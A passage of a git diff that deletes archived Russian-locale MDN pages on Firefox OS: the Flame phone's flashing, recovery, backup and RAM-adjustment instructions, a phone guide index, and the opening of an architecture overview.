- <li>Nightly: <a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v4.zip">Base image v18D_nightly_v4</a>:  contains a Flame base production image of Firefox OS 2.5. This is the same as the previous one but with the updated system partition size (see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1184980" title="FIXED: System partition size should be updated">баг 1184980</a>.)  Before updating your phone to a Nightly build you should flash the latest base image to make sure the underlying systems are up to date.
- <pre>Checksum: <strong>SHA512(v18D_nightly_v4.zip)= 9105e29fd39da1ae487b01da4431a803d619d31482147b4383002b8a10268905fd444b108a438395a78d289cfe4e8fba10c3fb6b0d187f3535f027bf90c2391a
-</strong>Build id<strong>: 20150527010201</strong>
-</pre>
- </li>
- <li>Nightly: <a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v3.zip">Base image v18D_nightly_v3</a>: Contains a Flame base production image of Firefox OS 2.5 that includes security, font, NFC, camera, and other fixes (see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1154072" title="FIXED: respin of contributor facing build : 18D_nightly ( v3)">баг 1154072</a> for more details.)
- <pre>Checksum: <strong>SHA512(v18D_nightly_v3.zip)= 98ec1d24604eaed4a22e7d1439501544622788b30f8f2993409bfc2244a4886863d33238aa78ccb7cd5f9f71464058b81920cc0ba85806a1dbf0220d08a8444b</strong></pre>
- </li>
- </ul>
- </li>
- <li>Engineering: There is no engineering Base image. Use a production base image and <a href="#Updating_to_nightly_build">flash it to an engineering nightly build</a>.</li>
-</ul>
-
-<div class="note">
-<p><strong>Note</strong>: You can find out what base image your device is running using the command <code>adb shell getprop ro.bootloader</code>. The version is the last four characters, with the last one then removed, prefixed by 'v' (e.g. L1TC000118D0 &gt; v18D).</p>
-</div>
-
-<div class="warning">
-<p><strong>Important</strong>: When running a shallow or full flash, your phone data will be overwritten: you should therefore back up your data before updating! See the <a href="#Backing_up_and_restoring_your_Flame_data">Backing up and restoring your Flame data</a> section for more details.</p>
-</div>
-
-<h4 id="Outdated">Outdated</h4>
-
-<p>These base images are stable &amp; production only.</p>
-
-<ul>
- <li><a href="http://cds.w5v8t3u9.hwcdn.net/v188.zip">Base image v188.zip</a>: An updated archive containing a Flame base image of Firefox OS 2.0 with bug fixes from the previous image.</li>
- <li><a href="http://cds.w5v8t3u9.hwcdn.net/Flame_2.0_v180_1.zip">Base image v180.zip</a>: An older archive containing a Flame base image of Firefox OS 2.0.</li>
- <li><a href="http://cds.w5v8t3u9.hwcdn.net/v123.zip">Base image v123.zip</a>: A discontinued image of Firefox OS 1.3 based on Android Jellybean; you shouldn't use this anymore.</li>
-</ul>
-
-<div class="note">
-<p><strong>Note</strong>: Using a locale with base image v188 produces a mixed UI with locale and English languages.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: Firefox OS images v180 and above are based on Android KK (Kitkat, 4.4); JB (Jellybean, 4.1–4.3) builds have now been discontinued and are no longer supported, so don't use anything older than v180.</p>
-</div>
-
-<h3 id="Base_Image_installation">Base Image installation</h3>
-
-<p>To install the base image on your device:</p>
-
-<ol>
- <li>Make sure remote debugging is enabled on your Flame, using the <em>Remote debugging/Debugging via USB</em> option in the device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Debugging_via_USB">Developer settings</a> (the option is different, depending on whether you have Firefox 1.3 and under, or Firefox 1.4+ installed).</li>
- <li>Connect your Flame to your computer via a USB cable if it isn't already. Verify that the computer is connected to the device by running the <code>adb devices</code> command in a terminal.</li>
- <li>Download the base image <code>.zip</code> file referenced above. Unzip it onto your Desktop.</li>
- <li>Go into the directory you extracted the software into and run it:
- <ul>
- <li>On Windows, enter the directory in your command prompt, then run the <code>flash.bat</code> script using <code>flash.bat</code> (or double click the file in explorer).<br>
- <strong>Note</strong>: If <code>flash.bat </code>is missing, simply rename the <code>flash.sh</code> file to <code>flash.bat</code>, then run that. Make sure you have <code>adb</code> and <code>fastboot</code> installed and available on <code>PATH</code>.</li>
- <li>On Linux / OSX, enter the directory in your terminal, then run the <code>flash.sh</code> script using <code>./flash.sh</code> (previous instructions encouraged you to use sudo. Don't. It is <strong>really dangerous</strong> to use sudo with things you download from the Internet. If the flash script fails to see your device, please double-check that your <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#For_Linux.3A_configure_the_udev_rule_for_your_phone">udev rules</a> are correct). If you do not see a <code>flash.sh</code> file, simply rename <code>flash.bat</code> to <code>flash.sh</code> first and then use the above command.</li>
- </ul>
- </li>
-</ol>
-
-<div class="note">
-<p><strong>Note</strong>: If you get a "permission denied" error when running the above commands, your shell script probably doesn't have the right permissions. Running <code>chmod +x flash.sh</code> on it should solve this problem.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: If the flash script gets stuck at "&lt; waiting for device &gt;" while the display shows "ThunderSoft(R)", the script doesn't have permission to access the device while in fastboot mode. You need to setup the <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#For_Linux.3A_configure_the_udev_rule_for_your_phone">udev rules</a> to give it access. Also USB 3 ports may not work well with fastboot and can be the cause of this problem.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: You are also welcome to build your own builds to install on the Flame: see <a href="/en-US/Firefox_OS/Building_and_installing_Firefox_OS">Building and installing Firefox OS</a>.</p>
-</div>
-
-<h4 id="Font_fix">Font fix</h4>
-
-<div class="warning">
-<p><strong>Important</strong>: This step is only needed for base image v180.</p>
-</div>
-
-<p>After updating Gecko and Gaia to nightly with the v180 base image, there will be a mismatch between the fonts that Gecko and Gaia expects and what the base image provides (this has been fixed as of v188). To fix this, you have two choices:</p>
-
-<ul>
- <li>download our <a href="https://people.mozilla.org/~mwu/fira-font-update.zip">font update package</a>, extract it, navigate into the directory created by extracting, and run the supplied <code>flash.sh</code> script.</li>
- <li>use the <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/update_system_fonts.sh"><code>update_system_fonts.sh</code></a> script, which will download and flash the system fonts automatically.</li>
-</ul>
-
-<h3 id="Updating_your_Flame_to_a_nightly_build"><a id="Updating_to_nightly_build" name="Updating_to_nightly_build">Updating your Flame to a nightly build</a></h3>
-
-<div class="note">
-<p><strong>Note</strong>: For the current build, Nightly development builds of Firefox OS do not support A-GPS, which may lead to slow performance of GPS functionality. We plan to resolve this in an updated future Nightly channel.</p>
-</div>
-
-<div class="warning">
-<p><strong>Important</strong>: When running a shallow or full flash, your phone data will be overwritten: you should therefore back up your data before updating! See the <a href="#Backing_up_and_restoring_your_Flame_data">Backing up and restoring your Flame data</a> section for more details.</p>
-</div>
-
-<ol>
- <li>Before updating your phone to a Nightly build you should flash the latest base image to make sure the underlying systems are up to date. Download a <a href="#Base Image">base image</a> <u>with the same or a higher version of Firefox OS than the version you intend to use in step 3 below</u> and use it to update your device's software, as explained above.</li>
- <li>Because the above step installs a fresh operating system on your device, you'll need to enable remote debugging on your Flame again, using the <em>Remote debugging </em>option in the device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a>.</li>
- <li>Next, choose a build to install (found on <a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/">https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/</a>). You'll want one of the following:
- <ul style="margin-left: 40px;">
- <li>Production builds (including locales)
- <ul>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central-flame-kk/">Latest master builds</a> (currently 2.6)</li>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g44_v2_5-flame-kk/">Latest v2.5 builds</a></li>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g37_v2_2-flame-kk/">2.2 build</a></li>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/2015/07/2015-07-24-00-12-07-mozilla-b2g34_v2_1-flame-kk/">2.1 build</a></li>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/2015/07/2015-07-23-00-02-07-mozilla-b2g32_v2_0-flame-kk/">2.0 build</a></li>
- </ul>
- </li>
- <li>Engineering builds (with test apps and only pseudo-locales)
- <ul>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central-flame-kk-eng/">Latest master builds</a> (currently 2.6)</li>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g44_v2_5-flame-kk-eng/">Latest v2.5 builds</a></li>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g37_v2_2-flame-kk-eng/">2.2 build</a></li>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/2015/07/2015-07-24-00-12-07-mozilla-b2g34_v2_1-flame-kk-eng/">2.1 build</a></li>
- <li><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/2015/07/2015-07-22-16-02-01-mozilla-b2g32_v2_0-flame-kk-eng/">2.0 build</a></li>
- </ul>
- </li>
- </ul>
- </li>
- <li>Pick a version and download both the <code>b2g-XX.XX.en-US.android-arm.tar.gz</code> and <code>gaia.zip</code> files. Save them inside a directory on your Desktop called something like <code>fxos</code>.</li>
- <li>Download the <a href="https://raw.githubusercontent.com/Mozilla-TWQA/B2G-flash-tool/master/shallow_flash.sh">shallow flash script</a> and save it in the same directory as the above two files.</li>
- <li><strong>For Windows users:</strong> Also download the <a href="https://raw.githubusercontent.com/Mozilla-TWQA/B2G-flash-tool/master/shallow_flash.bat">shallow_flash.bat</a> windows script and install <a href="https://cygwin.com">Cygwin</a>, which provides a Linux-like command environment on Windows. You will need to install the default Cygwin <em>base</em> category plus the <em>unzip</em> package but shallow_flash.bat will do this for you if you download and copy the Cygwin setup*.exe to the same folder as the script.</li>
- <li>
- <p>In your Terminal, <code>cd</code> into the directory you saved the files in and Flash the builds to your phone using the following:</p>
-
- <p><strong>Linux</strong>:</p>
-
- <pre class="brush: bash">./shallow_flash.sh --gaia=gaia.zip --gecko=b2g-XX.XX.en-US.android-arm.tar.gz
-</pre>
-
- <p><strong>Mac</strong>:</p>
-
- <pre class="brush: bash">./shallow_flash.sh --gaia gaia.zip --gecko b2g-XX.XX.en-US.android-arm.tar.gz</pre>
-
- <p><strong>Windows</strong>:</p>
-
- <p>Double click <code>shallow_flash.bat</code> (with the cogs icon) or run it from a command shell. It will flash <code>gaia.zip</code> and a single <code>b2g-XX.XX.en-US.android-arm.tar.gz</code> file.</p>
- </li>
-</ol>
-
-<div class="note">
-<p><strong>Note</strong>: If your update fails with an error "Flashing out/target/product/flame/system.img failed because the image was too large.", you will need to update to the newest <a href="#Base_Image">base image</a>, then try applying the nightly build again. This is because the system partition size has been updated (see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1184980" title="FIXED: System partition size should be updated">баг 1184980</a>.)</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: If you get a "permission denied" error when running the above commands, your shell script probably doesn't have the right permissions. Running <code>chmod +x shallow_flash.sh</code> on it should solve this problem.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: A "shallow flash" updates <a href="/en-US/docs/Mozilla/Gecko">Gecko</a> and <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a> plus data directories, as opposed to a full flash, which updates Gecko/Gaia, but also the underlying <a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a> layer and associated binaries particular to that device type. This is why it is a good idea to update to the official <a href="#Base Image">base image</a> first, as suggested above, then shallow flash over the top of that, once you've got the Gonk/binary layer right.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: You can check the update status of each build on <a href="https://wiki.mozilla.org/B2G/QA/Flame_OTA">the Flame OTA status page</a>.</p>
-</div>
-
-<p>Once the install procedure finishes the phone should reboot into the updated build and display the first time user workflow.</p>
-
-<h4 id="Switch_to_nightly_update_channel">Switch to nightly update channel</h4>
-
-<p>In v2.2 you can change the <strong>Update channel</strong> from <code>default</code> to <code>nightly</code> under <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Update_channel">Developer settings</a>.</p>
-
-<p>Below is the older method, if you don't find that setting in your device.</p>
-
-<ol>
- <li>Make sure remote debugging is enabled on your Flame, using the <em>Remote debugging/Debugging via USB</em> option in the device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a>.</li>
- <li>Download the <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/change_channel.sh">change channel</a> script: follow the link, press the <em>Raw</em> button, then use your browser's save functionality to save the page directly as <code>change_channel.sh</code>.</li>
- <li>In your Terminal, <code>cd</code> into the directory you saved the script in and change the update channel on your phone using the following command:<br>
-
- <pre class="brush: bash">./change_channel.sh -v nightly</pre>
- </li>
- <li>Once the phone reboots, check for updates by going into <em>Settings &gt; Device information &gt; Check now.</em></li>
-</ol>
-
-<div class="note">
-<p><strong>Note</strong>: This step isn't needed in newer versions of the Firefox OS software — you should just get OTA updates automatically.</p>
-</div>
-
-<div class="note">
-<p><strong>Note:</strong> You can choose between several different update channels. Run "<code>./change_channel.sh -h</code>" to see the other channel options.</p>
-</div>
-
-<h3 id="Fastboot_mode">Fastboot mode</h3>
-
-<p>If flashing a new build to your phone fails to work, your phone may become unresponsive, leading to the phone rebooting in recovery mode. The recovery mode provides few options (<em>Reboot</em>, <em>Update from adb</em>, <em>Wipe data</em>, <em>Wipe cache</em>, and <em>Update from sdcard</em>). Unfortunately, selecting <em>Update from adb</em> triggers a sideload mode in which you cannot use the other adb commands. The <code>adb sideload</code> command would work but the various flash scripts rely on other adb commands.</p>
-
-<p>You can force fastboot mode as follows:</p>
-
-<ol>
- <li>Power off the phone (which may involve removing the battery in extreme cases...).</li>
- <li>Power the phone up again by pressing the Volume Down and Power buttons together.</li>
-</ol>
-
-<p>The phone should now display the text "FASTBOOT": it is in fastboot mode and is waiting for a USB connection. At this point, a USB-connected, computer with adb installed should see the phone listed when the <code>fastboot devices</code> command is run. Note that regular adb would not see the device — only fastboot sees it. In this mode, you can use the flash script to install the last <a href="#Base Image">base image</a> as explained above. As the script does use both adb and fastboot commands, you may see some initial error and warnings from adb, but the device should be flashed properly at the end of the procedure.</p>
-
-<h3 id="Emergency_download_mode">Emergency download mode</h3>
-
-<p>If flashing a new build to your phone fails to work, your phone becomes unresponsive, and the phone cannot enter fastboot mode, you can use emergency mode for recovery. You'll need the provided emergency USB cable with the “Recovery Cable” red label on it and the <a href="http://cds.w5v8t3u9.hwcdn.net/Flame_Rescure_Tool_(updated_with_tutorial).zip">Emergency Download Tool</a> to enter this mode. For full instructions, see the Flame emergency rescue tool tutorial included in the download tool's files. Contact the device maker (flameservice [at] thundersoft.com) if you need any more technical support.</p>
-
-<p><img alt="Emergency download tool dialog box as it is when it start." src="https://mdn.mozillademos.org/files/9787/EmergencyDownloadTool.jpg" style="height: 363px; width: 497px;"></p>
-
-<div class="note">
-<p><strong>Note</strong>: The tool provided is Windows-only.</p>
-</div>
-
-<h3 id="Recovery_mode">Recovery mode</h3>
-
-<p>You can enter recovery mode to clear your phone data or manually update the firmware. There are two ways to enter this mode:</p>
-
-<ul>
- <li>If <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a> tools are available, make sure Remote debugging is turned on in the phone's <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Remote_debugging">Developer settings</a>, connect your phone to your computer via USB and enter <code>adb reboot recovery</code> on the command line.</li>
- <li>If your phone is powered off, press the Volume Up + Power buttons together.</li>
-</ul>
-
-<p>When in recovery mode, press the Volume up/down keys to move the selection highlight, and the Power key to select. Make sure you have your phone data (Contacts, SMS, etc.) backed up before clearing data, and your upgrade packages downloaded before updating.</p>
-
-<h2 id="Updating_your_phone_via_an_adb_sideload"><a id="sideload" name="sideload"></a>Updating your phone via an adb sideload</h2>
-
-<div>
-<div>
-<div>
-<div>
-<div>If you have adb installed on your computer, you can perform an adb sideload to update your phone, given the current sideload <a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v5/update.zip">update.zip</a> build.  To do this:</div>
-
-<ol>
- <li>Connect the device to the computer via USB.</li>
- <li>Type the following :
- <pre class="brush: bash">adb reboot recovery</pre>
- </li>
- <li>Press volume down once on the device to get to the option "apply update from ADB".  If you went too far you can press volume up to move up the menu selection.</li>
- <li>Press the power button to select the option.</li>
- <li>On the computer, in the directory that you have stored the update.zip, type:
- <pre class="brush: bash">adb sideload update.zip
-</pre>
- </li>
- <li>Wait until the sideload finishes; on the device it should issue the message "Install from ADB complete".</li>
- <li>navigate to the "reboot system now" option on the phone by pressing the volume up button on the device, then hit the power button to select that option.</li>
-</ol>
-</div>
-</div>
-</div>
-</div>
-
-<h2 id="Backing_up_and_restoring_your_Flame_data">Backing up and restoring your Flame data</h2>
-
-<p>When using a Flame, you won't want to lose your phone's contacts and other data while upgrading to a new build (as explained earlier in this article). To backup and restore data you can use our Backup and restore profile tool, which is contained in the <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool">B2G-flash-tool Git repo</a>.</p>
-
-<ol>
- <li>To use this, first open up your terminal/command line.</li>
- <li>Clone the above repo (you'll need <a href="http://www.git-scm.com/downloads">Git installed</a>) using
- <pre class="brush: bash">git clone https://github.com/Mozilla-TWQA/B2G-flash-tool</pre>
- </li>
- <li>The tool is a Python file: <code>backup_restore_profile.py</code>. Make sure you have <a href="https://www.python.org/downloads/">Python installed</a> (2.7.x is probably best.) Linux and Mac systems should have this out of the box.</li>
- <li>Enter the directory you just cloned using <code>cd B2G-flash-tool</code>.</li>
-</ol>
-
-<div class="note">
-<p><strong>Note</strong>: When using this tool, you'll also need to make sure that your phone is connected via USB to your computer, and that ADB (see <a href="#Important_steps_to_follow_first">Important steps to follow first</a> above) and Debugging via USB (in your device's <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Developer settings</a>) are enabled.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: If you get a message complaining about lack of permissions to execute this file, <code>cd</code> into the directory where you saved the file, and run the following command:</p>
-
-<pre class="brush: bash">chmod +x backup_restore_profile.py</pre>
-</div>
-
-<h3 id="Backing_up_data_from_your_phone">Backing up data from your phone</h3>
-
-<p>Before backing up you should make sure your device is updated with the most recent OTA update. To do this, on your phone go to <em>Settings app &gt; Device Information &gt; Check for updates &gt; click Check Now</em>. If there is an update available, you should shortly get a notification of an available update. Choose to install the update.</p>
-
-<p>Now, in the directory where you saved the <code>backup_restore_profile.py</code> file, run the following:</p>
-
-<pre class="brush: bash">python backup_restore_profile.py -b</pre>
-
-<p>This should save your device profile to a directory called <code>mozilla-profile</code>, in the same directory as the script is located.</p>
-
-<div class="warning">
-<p>Warning: by default, it does not save the internal sd card content. So files like photos or videos from the gallery app will not be saved. If you want to backup the sd card content, add the --sdcard option</p>
-
-<pre class="brush: bash">python backup_restore_profile.py -b --sdcard</pre>
-</div>
-
-<h3 id="Restoring_data_to_your_phone">Restoring data to your phone</h3>
-
-<p>Before restoring you should again make sure your device is updated with the most recent OTA update. Go to <em>Settings app &gt; Device Information &gt; Check for updates &gt; click Check Now</em>. If there is an update available, you should shortly get a notification of an available update. Choose to install the update.</p>
-
-<p>In the directory where your <code>mozilla-profile</code> directory is located (see above section), run the following:</p>
-
-<pre class="brush: bash">python backup_restore_profile.py -r</pre>
-
-<div class="note">
-<p><strong>Note</strong>: You can get a list of all the options the tool supports by running <code>python backup_restore_profile.py -h</code>.</p>
-</div>
-
-<h2 id="Pushing_apps_to_your_Flame">Pushing apps to your Flame</h2>
-
-<p>The <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a> and <a href="/en-US/docs/Tools/WebIDE">WebIDE</a> tools make it easy to push apps to your phone, for testing, etc.</p>
-
-<h2 id="RAM_adjustment">RAM adjustment</h2>
-
-<p>You can adjust the available RAM capacity to see how apps perform on Firefox OS phones with lower memory footprints.</p>
-
-<p>This is accomplished by entering fastboot mode (install fastboot first, which is available on the same SDK page as <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">ADB</a>) and typing:</p>
-
-<pre class="brush: bash">adb reboot bootloader
-fastboot oem mem [0|256-1024]</pre>
-
-<p>“0” is the memory automatically detected and “256-1024” is the number of megabytes. For example, if you want to adjust device RAM capacity to 512M, enter <code>fastboot oem mem 512</code>.</p>
-
-<p>You'll need to then reboot your device for the settings to take effect. This can be done using:</p>
-
-<pre class="brush: bash">fastboot reboot</pre>
-
-<p>The current memory size can be returned by entering fastboot mode and typing:</p>
-
-<pre class="brush: bash">fastboot getvar mem
-</pre>
diff --git a/files/ru/archive/b2g_os/phone_guide/index.html b/files/ru/archive/b2g_os/phone_guide/index.html
deleted file mode 100644
index fbaa5be840..0000000000
--- a/files/ru/archive/b2g_os/phone_guide/index.html
+++ /dev/null
@@ -1,74 +0,0 @@
----
-title: Firefox OS phone guide
-slug: Archive/B2G_OS/Phone_guide
-translation_of: Archive/B2G_OS/Phone_guide
----
-<div class="summary">
-<div class="warning">
-<p><span class="seoSummary">This section contains developer information relevant to specific phones that run Firefox OS — both developer and consumer devices.</span> We have general information available on <a href="/en-US/Firefox_OS/Building_and_installing_Firefox_OS" title="Building and installing Firefox OS">Building and installing Firefox OS</a> and <a href="/en-US/Firefox_OS/Developing_Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS/Hacking_Firefox_OS">Hacking Firefox OS</a>, so please go there for information about building and installing the platform from scratch. Developers with specific phones in their possession may however find the following articles useful.</p>
-</div>
-</div>
-
-<h2 id="Developer_phone_information">Developer phone information</h2>
-
-<p>The phones listed here are specifically geared towards developers wanting to experiment with Firefox OS, including developing apps and contributing to the operating system itself. As such, they typically have unlocked SIMs, system files, etc.</p>
-
-<dl>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/Flame">Flame</a></dt>
- <dd>The Flame device is the official reference device for developing, testing, and debugging Firefox OS and open web apps, produced in partnership with T<sup>2</sup>Mobile.</dd>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/Geeksphone">Geeksphone</a></dt>
- <dd>In this article we cover some basic tips on how to keep your Geeksphone up-to-date and how to tweak the system Gaia applications.</dd>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/ZTE_OPEN">ZTE OPEN</a></dt>
- <dd>This article contains information on the ZTE OPEN Firefox OS device.</dd>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/ZTE_OPEN_C">ZTE OPEN C</a></dt>
- <dd>The ZTE Open C is an updated ZTE-produced Firefox OS device, with higher end hardware and newer software.</dd>
-</dl>
-
-<h2 id="Consumer_phone_information">Consumer phone information</h2>
-
-<p>The phones listed here are consumer models, so not ideal for developers wanting to hack on devices. However, There is still useful information here for developers wanting to develop apps for specific locales, or wanting to make sure their apps work on a specific device. For a more complete list of devices, see our <a href="https://www.mozilla.org/en-US/firefox/os/devices/">Find Firefox OS near you</a> page.</p>
-
-<dl>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/Symphony_GoFox_F15">Symphony GoFox F15</a></dt>
- <dd>The Symphony GoFox F15 is the first Firefox OS Device to come with 3G video calling capability, launched in Bangladesh.</dd>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/Fx0">Fx0</a></dt>
- <dd>The Fx0 is a consumer Firefox OS device, and marks the first Firefox OS phone release in Japan. It is released by KDDI.</dd>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/Intex_Cloud_FX">Intex Cloud FX</a></dt>
- <dd>The Intex Cloud FX is a consumer Firefox OS smart phone, and marks the very first Firefox OS Tarako phone release in India (based on Firefox OS 1.3T.)</dd>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/Spice_Fire_One_MI_FX1">Spice Firefox MI FX1</a></dt>
- <dd>The Spice Fire One MI FX1 is a consumer Firefox OS smart phone, based on Tarako Firefox OS (1.3T) and released in India.</dd>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/Alcatel_Onetouch_Fire_C_4020D">Alcatel Onetouch Fire 2C 4020D</a></dt>
- <dd>The Alcatel Onetouch Fire C is a consumer Firefox OS smart phone, based on Tarako Firefox OS (1.3T) and released in India.</dd>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/Zen_U105_Fire">Zen U105 Fire</a></dt>
- <dd>This article contains information on the budget Smartphone Zen U105 Fire, available in India.</dd>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/LG_fireweb">LG Fireweb</a></dt>
- <dd>LG Fireweb is a consumer Firefox OS Smartphone, based on Firefox OS 1.1 and available in Uruguay and Brasil.</dd>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/LG_fireweb"> </a><a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/Huawei_Y300_II">Huawei Y300 II</a></dt>
- <dd>Huawei Y300 II is a consumer Firefox OS Smartphone, based on Firefox OS 1.1 and available in the Philippines and Mexico.</dd>
-</dl>
-
-<dl>
- <dt><a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/Cherry_Mobile_Ace">Cherry Mobile Ace</a></dt>
- <dd>The Cherry Mobile Ace is a consumer Firefox OS Smartphone, based on Firefox OS 1.3T and available in the Philippines.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/Alcatel_One_Touch_Fire">Alcatel One Touch Fire</a></dt>
- <dd>Alcatel One Touch Fire is a consumer Firefox OS Smartphone, based on Firefox OS 1.3 and available in more than 5 countries.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/Alcatel_One_Touch_Fire_C">Alcatel Onetouch Fire C</a></dt>
- <dd>The Alcatel One touch Fire C is a consumer Firefox OS smart phone, based on Tarako Firefox OS (1.3T) and released in India.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/Alcatel_One_Touch_Fire_E">Alcatel Onetouch Fire E</a></dt>
- <dd>The Alcatel Onetouch Fire E is a consumer Firefox OS smart phone, available in 5 countries.</dd>
- <dt style="font-size: 13.63636302948px; line-height: 19.0909080505371px;"><a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/ZTE_Open_II">ZTE Open II</a></dt>
- <dd style="font-size: 13.63636302948px; line-height: 19.0909080505371px;"><strong style="font-size: 13.63636302948px; font-weight: bold; line-height: 19.0909080505371px;">ZTE Open II</strong> is a consumer Firefox OS smart phone which has <span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">has a</span><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">1.2 GHz dual core </span><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">processor and a </span><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">2.0 MP </span><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">Rear Camera</span>, available in 7 countries.</dd>
-</dl>
-
-<h2 id="General_Firefox_OS_information">General Firefox OS information</h2>
-
-<dl>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/Phone_specs">Firefox OS phone data</a></dt>
- <dd>In this article we list the various available Firefox OS phones along with information such as their code names, availability, and specific hardware features.</dd>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/Firefox_OS_device_features">General device features</a></dt>
- <dd>This page lists typical Firefox OS hardware features and minimum hardware requirements.</dd>
- <dt><a href="/en-US/Firefox_OS/Troubleshooting">Troubleshooting</a></dt>
- <dd>This article provides tips for resolving common problems you may have while using Firefox OS.</dd>
- <dt><a href="/en-US/Firefox_OS/Phone_guide/Best_practices_open_reference_devices">Best practices for open reference devices</a></dt>
- <dd>A set of best practices that we believe should come highly recommended for any widely available open reference devices. All of the recent Firefox OS reference devices have followed these practices.</dd>
-</dl>
diff --git a/files/ru/archive/b2g_os/platform/architecture/index.html b/files/ru/archive/b2g_os/platform/architecture/index.html
deleted file mode 100644
index 3fc82b1605..0000000000
--- a/files/ru/archive/b2g_os/platform/architecture/index.html
+++ /dev/null
@@ -1,718 +0,0 @@
----
-title: Firefox OS architecture
-slug: Archive/B2G_OS/Platform/Architecture
-translation_of: Archive/B2G_OS/Architecture
----
-<div class="summary">
-<p><span class="seoSummary">This article is a high-level overview of the architecture of the Firefox OS platform, introducing key concepts and explaining how its components interact at a basic level.</span></p>
-</div>
-
-<div class="note">
-<p><strong>Note:</strong> Помните, что Firefox OS находится ещё в стадии разработки. Архитектура, описываемая ниже, не обязательно является окончательной и некоторые положения могут измениться.</p>
-</div>
-
-<h2 id="Firefox_OS_терминология">Firefox OS терминология</h2>
-
-<p><span id="result_box" lang="ru"><span class="hps">Есть</span> <span class="hps">несколько терминов, которые</span> <span class="hps">вы должны</span> <span class="hps">понимать, прежде чем</span> <span class="hps">читать дальше</span><span class="hps"> нашу</span> <span class="hps">документацию</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>.</span></span></p>
-
-<dl>
- <dt>B2G</dt>
- <dd>Short for Boot to Gecko.</dd>
- <dt>Boot to Gecko</dt>
- <dd><span id="result_box" lang="ru"><span>Инженерно</span> <span class="hps">кодовое название</span> <span class="hps">операционной системы</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>.</span> <span class="hps">Вы</span> <span class="hps">часто будете видеть</span> <span class="hps">этот термин,</span> <span class="hps">используется</span> <span class="hps">для обозначения</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>, так как</span> <span class="hps">он использовался</span> <span class="hps">в течение длительного</span> <span class="hps">времени, прежде чем</span> <span class="hps">проект</span> <span class="hps">получил</span> <span class="hps">официальное название</span><span>.</span></span></dd>
- <dt>Firefox OS</dt>
- <dd>Firefox OS is basically Mozilla's (and OEM partner's) branding and support services applied on top of <strong>Boot to Gecko</strong>, to create a final release product.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Gaia">Gaia</a></dt>
- <dd>
